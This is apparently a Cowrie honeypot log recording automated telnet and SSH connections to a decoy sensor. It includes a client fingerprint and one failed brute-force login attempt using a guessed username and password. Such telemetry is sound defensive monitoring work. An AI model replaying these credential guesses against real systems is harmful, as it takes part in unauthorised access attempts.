{"eventid":"cowrie.session.closed","duration":31.53568720817566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:02.787162Z","src_ip":"147.135.136.77","session":"126c8c1a4882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63127040863037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.042399Z","src_ip":"51.79.21.139","session":"c419251651a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89038848876953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.206351Z","src_ip":"147.135.136.77","session":"bd6403edd3ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36610,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaf3c2d608f3","protocol":"telnet","message":"New connection: 147.135.136.77:36610 (159.203.135.109:23) [session: eaf3c2d608f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.277431Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36628,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07e83f4ecd1","protocol":"telnet","message":"New connection: 147.135.136.77:36628 (159.203.135.109:23) [session: e07e83f4ecd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.303654Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36656,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ebba13bfda8","protocol":"telnet","message":"New connection: 147.135.136.77:36656 (159.203.135.109:23) [session: 8ebba13bfda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.754567Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36640,"dst_ip":"159.203.135.109","dst_port":23,"session":"d684b00406e4","protocol":"telnet","message":"New connection: 147.135.136.77:36640 (159.203.135.109:23) [session: d684b00406e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:03.760135Z"}
{"eventid":"cowrie.session.closed","duration":30.85325789451599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:04.049719Z","src_ip":"147.135.136.77","session":"afc5fceaed27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902996301651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:04.139924Z","src_ip":"147.135.136.77","session":"dbc332ab21c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55636,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5b8c68f3b9","protocol":"ssh","message":"New connection: 80.94.92.184:55636 (10.17.0.5:22) [session: 4b5b8c68f3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:05.040537Z"}
{"eventid":"cowrie.session.closed","duration":30.43498396873474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:05.050228Z","src_ip":"147.135.136.77","session":"31cc8566a869","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:05.248466Z","src_ip":"80.94.92.184","session":"4b5b8c68f3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:05.265377Z","src_ip":"80.94.92.184","session":"4b5b8c68f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":36666,"dst_ip":"159.203.135.109","dst_port":23,"session":"550747a062d6","protocol":"telnet","message":"New connection: 147.135.136.77:36666 (159.203.135.109:23) [session: 550747a062d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:05.734504Z"}
{"eventid":"cowrie.session.closed","duration":31.050888299942017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.068724Z","src_ip":"81.30.157.18","session":"1646c8078d3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.797020196914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.073746Z","src_ip":"147.135.136.77","session":"485c7ba7ae08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50694,"dst_ip":"159.203.135.109","dst_port":23,"session":"c233410377f7","protocol":"telnet","message":"New connection: 147.135.136.77:50694 (159.203.135.109:23) [session: c233410377f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.418016Z"}
{"eventid":"cowrie.session.closed","duration":31.250491619110107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.452729Z","src_ip":"37.187.24.227","session":"0afe599a8f10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22792935371399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.467029Z","src_ip":"168.119.91.149","session":"5b7eb41b3c8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50710,"dst_ip":"159.203.135.109","dst_port":23,"session":"d17e4d0e171a","protocol":"telnet","message":"New connection: 147.135.136.77:50710 (159.203.135.109:23) [session: d17e4d0e171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.491190Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.746913Z","src_ip":"80.94.92.184","session":"4b5b8c68f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50720,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b90637dec6b","protocol":"telnet","message":"New connection: 147.135.136.77:50720 (159.203.135.109:23) [session: 7b90637dec6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:06.797972Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50724,"dst_ip":"159.203.135.109","dst_port":23,"session":"c76aa7871fae","protocol":"telnet","message":"New connection: 147.135.136.77:50724 (159.203.135.109:23) [session: c76aa7871fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.032099Z"}
{"eventid":"cowrie.session.closed","duration":30.675304651260376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.054565Z","src_ip":"147.135.136.77","session":"1546783ecb91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.509228229522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.104536Z","src_ip":"147.135.136.77","session":"2db8b0821349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50728,"dst_ip":"159.203.135.109","dst_port":23,"session":"b531d91aefe5","protocol":"telnet","message":"New connection: 147.135.136.77:50728 (159.203.135.109:23) [session: b531d91aefe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.208701Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50744,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a87862473f3","protocol":"telnet","message":"New connection: 147.135.136.77:50744 (159.203.135.109:23) [session: 1a87862473f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.501921Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50750,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a1194a4c88f","protocol":"telnet","message":"New connection: 147.135.136.77:50750 (159.203.135.109:23) [session: 6a1194a4c88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.696447Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50754,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad8b7788742f","protocol":"telnet","message":"New connection: 147.135.136.77:50754 (159.203.135.109:23) [session: ad8b7788742f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.858840Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:07.886211Z","src_ip":"80.94.92.184","session":"4b5b8c68f3b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":37366,"dst_ip":"159.203.135.109","dst_port":23,"session":"58e63dc06f52","protocol":"telnet","message":"New connection: 37.187.24.227:37366 (159.203.135.109:23) [session: 58e63dc06f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.013319Z"}
{"eventid":"cowrie.session.closed","duration":30.99715495109558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.064922Z","src_ip":"147.135.136.77","session":"6d9d028d7e5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64468264579773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.139089Z","src_ip":"85.208.100.77","session":"53c65503858f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50760,"dst_ip":"159.203.135.109","dst_port":23,"session":"629b6bfb8793","protocol":"telnet","message":"New connection: 147.135.136.77:50760 (159.203.135.109:23) [session: 629b6bfb8793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.314513Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50774,"dst_ip":"159.203.135.109","dst_port":23,"session":"d853ef7389fa","protocol":"telnet","message":"New connection: 147.135.136.77:50774 (159.203.135.109:23) [session: d853ef7389fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.605320Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50788,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef3adf9bd387","protocol":"telnet","message":"New connection: 147.135.136.77:50788 (159.203.135.109:23) [session: ef3adf9bd387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.737775Z"}
{"eventid":"cowrie.session.closed","duration":31.746349334716797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:08.962265Z","src_ip":"147.135.136.77","session":"9eeb2d52ef03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33238196372986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.046679Z","src_ip":"147.135.136.77","session":"de599a7f244a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794248819351196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.194267Z","src_ip":"37.187.24.227","session":"ab5a91f749d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50798,"dst_ip":"159.203.135.109","dst_port":23,"session":"d30294f71184","protocol":"telnet","message":"New connection: 147.135.136.77:50798 (159.203.135.109:23) [session: d30294f71184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.226326Z"}
{"eventid":"cowrie.session.closed","duration":30.64606523513794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.283087Z","src_ip":"147.135.136.77","session":"0da512542607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50800,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3fa0ab06c8f","protocol":"telnet","message":"New connection: 147.135.136.77:50800 (159.203.135.109:23) [session: f3fa0ab06c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.556514Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50816,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6a949d65628","protocol":"telnet","message":"New connection: 147.135.136.77:50816 (159.203.135.109:23) [session: c6a949d65628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.680659Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50824,"dst_ip":"159.203.135.109","dst_port":23,"session":"743933bdabf0","protocol":"telnet","message":"New connection: 147.135.136.77:50824 (159.203.135.109:23) [session: 743933bdabf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.714397Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50832,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc1397ac27d","protocol":"telnet","message":"New connection: 147.135.136.77:50832 (159.203.135.109:23) [session: 6dc1397ac27d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:09.850267Z"}
{"eventid":"cowrie.session.closed","duration":30.850301265716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.036705Z","src_ip":"147.135.136.77","session":"ffc2568a2df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50840,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ad08aba473","protocol":"telnet","message":"New connection: 147.135.136.77:50840 (159.203.135.109:23) [session: 63ad08aba473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.455273Z"}
{"eventid":"cowrie.session.closed","duration":31.231682538986206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.511863Z","src_ip":"168.119.91.149","session":"4afe9a79c957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50844,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcece44e69bc","protocol":"telnet","message":"New connection: 147.135.136.77:50844 (159.203.135.109:23) [session: fcece44e69bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.569878Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":35108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b068fa1251ed","protocol":"telnet","message":"New connection: 168.119.91.149:35108 (159.203.135.109:23) [session: b068fa1251ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.846289Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50856,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb0143a93620","protocol":"telnet","message":"New connection: 147.135.136.77:50856 (159.203.135.109:23) [session: eb0143a93620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.928344Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50860,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a64ede1371","protocol":"telnet","message":"New connection: 147.135.136.77:50860 (159.203.135.109:23) [session: 76a64ede1371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:10.974467Z"}
{"eventid":"cowrie.session.closed","duration":30.714926958084106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.087190Z","src_ip":"147.135.136.77","session":"426edf622389","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.814790964126587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.143050Z","src_ip":"147.135.136.77","session":"d3e3c03cf6dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b1a1bad8959","protocol":"telnet","message":"New connection: 147.135.136.77:50862 (159.203.135.109:23) [session: 7b1a1bad8959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.265294Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50872,"dst_ip":"159.203.135.109","dst_port":23,"session":"04f9ff859336","protocol":"telnet","message":"New connection: 147.135.136.77:50872 (159.203.135.109:23) [session: 04f9ff859336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.351321Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f9dd451107b","protocol":"telnet","message":"New connection: 147.135.136.77:50878 (159.203.135.109:23) [session: 4f9dd451107b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.709183Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50880,"dst_ip":"159.203.135.109","dst_port":23,"session":"930f80bfc393","protocol":"telnet","message":"New connection: 147.135.136.77:50880 (159.203.135.109:23) [session: 930f80bfc393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.731741Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50892,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf47950d8b8","protocol":"telnet","message":"New connection: 147.135.136.77:50892 (159.203.135.109:23) [session: bdf47950d8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:11.813496Z"}
{"eventid":"cowrie.session.closed","duration":30.704915285110474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.058526Z","src_ip":"37.187.24.227","session":"d2c6d5a90a2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59615445137024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.082974Z","src_ip":"147.135.136.77","session":"66080265e433","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886836290359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.138270Z","src_ip":"147.135.136.77","session":"130f811104b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":45066,"dst_ip":"159.203.135.109","dst_port":23,"session":"55d27564ffe0","protocol":"telnet","message":"New connection: 37.187.24.227:45066 (159.203.135.109:23) [session: 55d27564ffe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.191495Z"}
{"eventid":"cowrie.session.closed","duration":30.563470363616943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.200514Z","src_ip":"147.135.136.77","session":"d4e07179b2c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.580350637435913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.929040Z","src_ip":"147.135.136.77","session":"435d8c91a541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50894,"dst_ip":"159.203.135.109","dst_port":23,"session":"b08baa1fd3d1","protocol":"telnet","message":"New connection: 147.135.136.77:50894 (159.203.135.109:23) [session: b08baa1fd3d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:12.958596Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50896,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7af7a278467","protocol":"telnet","message":"New connection: 147.135.136.77:50896 (159.203.135.109:23) [session: b7af7a278467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.086085Z"}
{"eventid":"cowrie.session.closed","duration":30.729750394821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.134412Z","src_ip":"147.135.136.77","session":"ab493559c8c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50906,"dst_ip":"159.203.135.109","dst_port":23,"session":"f35b97a96702","protocol":"telnet","message":"New connection: 147.135.136.77:50906 (159.203.135.109:23) [session: f35b97a96702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.227877Z"}
{"eventid":"cowrie.session.closed","duration":31.040794849395752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.293868Z","src_ip":"147.135.136.77","session":"6c2be0685f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.863897562026978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.584317Z","src_ip":"51.79.21.139","session":"fb7095edb47f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50918,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0751e24e35","protocol":"telnet","message":"New connection: 147.135.136.77:50918 (159.203.135.109:23) [session: fb0751e24e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:13.657407Z"}
{"eventid":"cowrie.session.closed","duration":30.543912649154663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:14.182870Z","src_ip":"147.135.136.77","session":"569cd942c8a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15365433692932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:14.198706Z","src_ip":"147.135.136.77","session":"18888bdbec07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":50932,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5cd18d5a0fa","protocol":"telnet","message":"New connection: 147.135.136.77:50932 (159.203.135.109:23) [session: e5cd18d5a0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:14.233651Z"}
{"eventid":"cowrie.session.closed","duration":31.317840576171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:51:14.796655Z","src_ip":"147.135.136.77","session":"0339603918bb","protocol":"telnet"}
